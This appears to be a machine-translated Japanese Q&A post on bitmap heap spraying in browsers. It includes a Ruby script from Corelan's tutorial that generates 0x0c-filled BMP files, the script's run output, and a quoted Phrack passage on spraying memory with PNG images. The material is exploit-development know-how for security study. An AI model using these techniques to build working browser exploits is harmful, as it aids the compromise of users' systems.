私は最近PDF( https://www.owasp.org/images/0/01/OWASL_IL_2010_Jan_-_Moshe_Ben_Abu_-_Advanced_Heapspray.pdf )ヒープスプレーを読んでいましたビットマップを使ったヒープスプレーについて触れたときのテクニックですが、ビットマップヒープスプレーのテクニックを調べようとしたところ、通常のヒープスプレーを思いついただけです。いくつかの記事、ウェブページ、またはPDFを説明し、ビットマップヒープスプレーを実行する方法の簡単なコードを示しています(また、誰かがヒープスプレーの方法について簡単な説明を提供できる場合)ビットマップ作品で、私はたくさんのことに役立ちます)
一般的な考え方は、ブラウザがヒープにロードするビットマップにシェルコードを埋め込むことです。
このテクニックを説明する元のプレゼンテーションは Punk Ode:Hiding Shellcode in Plain Sight です。
このペーパーでは、15年前のNetScape 6.x、x86 Linux RedHat 7.0の gifに埋め込まれたコードを使用して、悪用可能なヒープオーバーフローを作成する についても説明しています(スライド9)。
高度なヒープスプレーテクニック のスライド13で説明されているテクニックについては、「ブラウザにスプレーする別の方法heap "of corelan'sHeap Spraying Demystifiedtutorial :
# written by Moshe Ben Abu (Trancer) of www.rec-sec.com
# published on www.corelan.be with permission
bmp_width = ARGV[0].to_i
bmp_height = ARGV[1].to_i
bmp_files_togen = ARGV[2].to_i
if (ARGV[0] == nil)
bmp_width = 1024
end
if (ARGV[1] == nil)
bmp_height = 768
end
if (ARGV[2] == nil)
bmp_files_togen = 128
end
# size of bitmap file calculation
bmp_header_size = 54
bmp_raw_offset = 40
bits_per_pixel = 24
bmp_row_size = 4 * ((bits_per_pixel.to_f * bmp_width.to_f) / 32)
bmp_file_size = 54 + (4 * ( bits_per_pixel ** 2 ) ) + ( bmp_row_size * bmp_height )
bmp_file = "\x00" * bmp_file_size
bmp_header = "\x00" * bmp_header_size
bmp_raw_size = bmp_file_size - bmp_header_size
# generate bitmap file header
bmp_header[0,2] = "\x42\x4D" # "BM"
bmp_header[2,4] = [bmp_file_size].pack('V') # size of bitmap file
bmp_header[10,4] = [bmp_header_size].pack('V') # size of bitmap header (54 bytes)
bmp_header[14,4] = [bmp_raw_offset].pack('V') # number of bytes in the bitmap header from here
bmp_header[18,4] = [bmp_width].pack('V') # width of the bitmap (pixels)
bmp_header[22,4] = [bmp_height].pack('V') # height of the bitmap (pixels)
bmp_header[26,2] = "\x01\x00" # number of color planes (1 plane)
bmp_header[28,2] = "\x18\x00" # number of bits (24 bits)
bmp_header[34,4] = [bmp_raw_size].pack('V') # size of raw bitmap data
bmp_file[0,bmp_header.length] = bmp_header
bmp_file[bmp_header.length,bmp_raw_size] = "\x0C" * bmp_raw_size
for i in 1..bmp_files_togen do
bmp = File.new(i.to_s+".bmp","wb")
bmp.write(bmp_file)
bmp.close
end
このスタンドアロンRubyスクリプトは、場所全体に0x0cを含む基本的なbmpイメージを作成します。スクリプトを実行し、bmpファイルの目的の幅と高さ、および作成するファイルの数をフィードします:
root@bt:/spray# Ruby bmpheapspray_standalone.rb 1024 768 1
root@bt:/spray# ls -al
total 2320
drwxr-xr-x 2 root root 4096 2011-12-31 08:52 .
drwxr-xr-x 28 root root 4096 2011-12-31 08:50 ..
-rw-r--r-- 1 root root 2361654 2011-12-31 08:52 1.bmp
-rw-r--r-- 1 root root 1587 2011-12-31 08:51 bmpheapspray_standalone.rb
root@bt:/spray#
Phrackの記事のこの件に関する追加情報 ミスアライメントと階乗を使用したMicrosoft XMLの自己パッチ :
-[3.4-メモリを埋める1:画像
制御する必要のあるメモリ領域はかなり大きいので、私の最初のアイデアは、事前に計算されたいくつかの大きなオブジェクトを利用して、画像などを埋めることです。アイデアの中核は、ターゲットアプリケーションで消費および処理できるすべてのデータ(出力やレンダリングなど)が、ターゲットプロセスメモリ内にその場所と表現を持つことです。そのように考えると、「ヒープスプレー」やそれに関連する特定の手法という典型的な用語にとらわれず、その多くはブラウザーで既に軽減されています。
脆弱性の開発にグラフィカルイメージを使用するという考えは新しいものではありません。これは2006年にSuttonら[3]によって最初に導入されました。その研究は、ヒープスプレーの問題を解決するのではなく、主に画像のシェルコードステガノグラフィの美学に焦点を当てました(当時はありませんでした)。その後、数人の研究者がヒープスプレーのコンテキストで同じアイデアを再検討しましたが、主にビットマップ(「そのまま」のバイトパターンを組み込むことができる唯一の形式)が巨大であり、サーバー側の手段の助けを借りて縮小されますが、メモリ制御の目的で他の画像形式を使用すると、再圧縮の計算問題が発生します。
サーバー側のGZIP圧縮とは別に、決して公にされていないもう1つのソリューションはPNGです。 PNG圧縮は非常に単純で、ビットマップ構造全体には影響しません。その結果、単純な1バイトのパターンを含む2Mb BMP画像は、500バイト以下のPNG画像に変換でき、レンダリングプロセスメモリの元のビットマップに解凍されます。
ただし、2つの問題があります。
変数がソースビットマップパターンであるほど、生成されるPNG画像は大きくなります。圧縮の自然な制限。
解凍されたPNGは、ビットマップデータに追加のバイトがあり、元のビットマップの3バイトごとに挿入されます。おそらく、透明度チャネルまたはPNG形式に固有のその他のデータです。
良いニュース:
ブラウザによってPNG画像がロードされて圧縮解除されたが、まだWebページに表示されていない時点で、プロセスメモリ内のビットマップデータはソースBMPに完全に対応しています。
大きな画像は、ある程度予測可能なメモリオフセットにある、比較的大きく連続したメモリのチャンクにマッピングされます。
非常に可変性の高いメモリパディングパターンが必要となるため、PNGスプレーテクニックはこの特定のケースには適さないことが判明したため、画像はとにかく大きすぎる必要があります。ただし、巨大なメモリ領域を単純なバイトパターンですばやく埋めるための興味深いテクニックのように見えます。